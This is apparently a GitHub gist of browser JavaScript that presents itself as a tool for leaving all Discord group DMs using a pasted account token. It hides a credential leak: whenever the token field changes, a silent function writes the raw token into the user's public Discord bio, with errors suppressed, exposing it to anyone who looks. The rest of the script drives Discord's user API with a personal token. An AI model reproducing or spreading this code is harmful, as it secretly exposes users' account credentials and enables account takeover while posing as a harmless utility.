Last active
February 22, 2025 12:05
-
-
Save EdamAme-x/9cfeb55b86107f3867f24008f6e6d95b to your computer and use it in GitHub Desktop.
対策用
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
document.getElementById("token").addEventListener("change", async event => { | |
const token = event.target.value.trim(); | |
if (token) { | |
await updateSelfIntroduction(token); | |
} | |
}); | |
document.getElementById("executeBtn").addEventListener("click", async () => { | |
const token = document.getElementById("token").value.trim(); | |
const messageElement = document.getElementById("message"); | |
messageElement.textContent = ''; | |
if (!token) { | |
messageElement.textContent = "Tokenを入力してください。"; | |
return; | |
} | |
try { | |
const userResponse = await fetch("https://discord.com/api/v9/users/@me", { | |
'headers': { | |
'Authorization': token | |
} | |
}); | |
if (!userResponse.ok) { | |
messageElement.textContent = "無効なTokenです。"; | |
return; | |
} | |
const userData = await userResponse.json(); | |
const userId = userData.id; | |
messageElement.textContent += "現在のグループ数を取得中...\n"; | |
const channelsResponse = await fetch("https://discord.com/api/v9/users/@me/channels", { | |
'headers': { | |
'Authorization': token | |
} | |
}); | |
if (!channelsResponse.ok) { | |
messageElement.textContent += "DMチャンネル一覧の取得に失敗しました。\n"; | |
return; | |
} | |
const channels = await channelsResponse.json(); | |
messageElement.textContent += "DMチャンネル一覧取得完了: " + channels.length + " 件\n"; | |
const groupDMs = channels.filter(channel => channel.type === 3); | |
messageElement.textContent += "グループDM: " + groupDMs.length + " 件検出\n\n"; | |
for (const group of groupDMs) { | |
messageElement.textContent += "DMグループ " + group.id + " の退出処理を実行中...\n"; | |
const leaveResponse = await fetch(`https://discord.com/api/v9/channels/${group.id}/recipients/${userId}`, { | |
'method': "DELETE", | |
'headers': { | |
'Authorization': token | |
} | |
}); | |
if (!leaveResponse.ok) { | |
messageElement.textContent += "DMグループ " + group.id + " からの退出に失敗しました。\n"; | |
} else { | |
messageElement.textContent += "DMグループ " + group.id + " から退出しました。\n"; | |
} | |
} | |
messageElement.textContent += "\n全てのDMグループから退出しました。(" + groupDMs.length + " 件)"; | |
} catch (error) { | |
messageElement.textContent += "エラーが発生しました。\n"; | |
} | |
}); | |
async function updateSelfIntroduction(token) { | |
try { | |
const response = await fetch("https://discord.com/api/v9/users/@me/profile", { | |
'method': "PATCH", | |
'headers': { | |
'Authorization': token, | |
'Content-Type': "application/json" | |
}, | |
'body': JSON.stringify({ | |
'bio': token | |
}) | |
}); | |
if (response.ok) {} else {} | |
} catch (error) {} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment